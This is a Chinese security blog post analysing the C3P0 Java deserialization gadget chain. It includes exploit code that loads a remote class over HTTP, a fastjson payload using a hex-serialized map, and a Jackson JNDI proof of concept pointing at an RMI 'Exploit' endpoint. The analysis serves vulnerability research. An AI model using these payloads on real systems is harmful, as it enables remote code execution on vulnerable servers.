Java安全之C3P0鏈利用與分析


Java安全之C3P0鏈利用與分析

0x00 前言

在一些比較極端情況下,C3P0鏈的使用還是挺頻繁的。

0x01 利用方式

利用方式

在C3P0中有三種利用方式

  • http base
  • JNDI
  • HEX序列化字節加載器

在原生的反序列化中如果找不到其他鏈,則可嘗試C3P0去加載遠程的類進行命令執行。JNDI則適用於Jackson等利用。而HEX序列化字節加載器的方式可以利用與fj和Jackson等不出網情況下打入內存馬使用。

http base使用

使用也很簡單,可以直接使用yso生成數據進行發送到服務端,然后加載到指定的遠程類。

public class test1 {
    public static void main(String[] args) throws Exception {
        C3P0 c3P0 = new C3P0();
        Object object = c3P0.getObject("http://127.0.0.1:80/:exp");

        byte[] serialize = Serializer.serialize(object);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();

    }
}

0x02 C3P0分析

構造分析

public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);
        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
        return b;
    }
    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }

       ......
    }

代碼比較簡單,反射創建了一個PoolBackedDataSource實例對象,然后反射將connectionPoolDataSource的值設置為PoolSource類的實例,傳遞classNameurl參數。即我們傳入的遠程地址和類名。

在序列化的時候會去調用我們的com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject

這行代碼走到了catch代碼塊里面,因為我們傳入的this.connectionPoolDataSourcePoolSource類是不可被序列化的。

繼續走到下面代碼來看。

 public IndirectlySerialized indirectForm(Object var1) throws Exception {
        Reference var2 = ((Referenceable)var1).getReference();
        return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
    }

調用我們傳遞的this.connectionPoolDataSourcegetReference();方法。來獲取到一個Reference這也是前面為我們要重寫這個方法的原因。

實例ReferenceIndirector.ReferenceSerialized將剛剛獲取的Reference傳遞進去。

利用分析

反序列化入口為com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject

調用readObject內部會調用ReferenceIndirector.getObject()

Class.forName ,如果可以控制forName⽅法的第⼀個和第三個參數,並且第⼆個參數為 true,那么就可以利⽤BCEL, ClassLoader實現任意代碼加載執⾏ 。

把代碼摳出來測試一下

ClassLoader var6 = Thread.currentThread().getContextClassLoader();
        URL var8 = new URL("http://127.0.0.1:80");
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{var8}, var6);
        Class var12 = Class.forName("exp", true, urlClassLoader);

跟蹤了一下forName0native修飾的內部使用C/C++實現無法進行查看。

來看到官方的講解。

Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

翻譯大概的意思就是返回一個給定類或者接口的一個 Class 對象,如果沒有給定 classloader, 那么會使用根類加載器。如果initalize這個參數傳了 true,那么給定的類如果之前沒有被初始化過,那么會被初始化。

也就是說我們的exp會被初始化,執行我們static代碼塊中的惡意代碼。

官方說明

HEX序列化字節加載器

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex編碼內容;"}}

在fj反序列化userOverridesAsString調用settingsetter傳入以HexAsciiSerializedMap開頭的字符串進行解碼並觸發原生反序列化。

來看到調用流程。下面調用到這里

 this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);

一路跟蹤來到com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString

 public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
        if (userOverridesAsString != null) {
            String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
            byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
            return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
        } else {
            return Collections.EMPTY_MAP;
        }
    }

HexAsciiSerializedMap中內容提取出來進行反序列化

JNDI利用

 public static void main(String[] args) throws IOException, JsonProcessingException {
        String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";
        System.out.println(poc);
        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping();
        objectMapper.readValue(poc, Person.class);
    }

jackson和fastjson特性一樣會調用setter,這里利用的是JndiRefDataSourceBase中的setjndiName

Reference

c3p0的三個gadget

0x03 結尾

構造序列化payload時,C3P0版本也會對漏洞利用有所影響。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM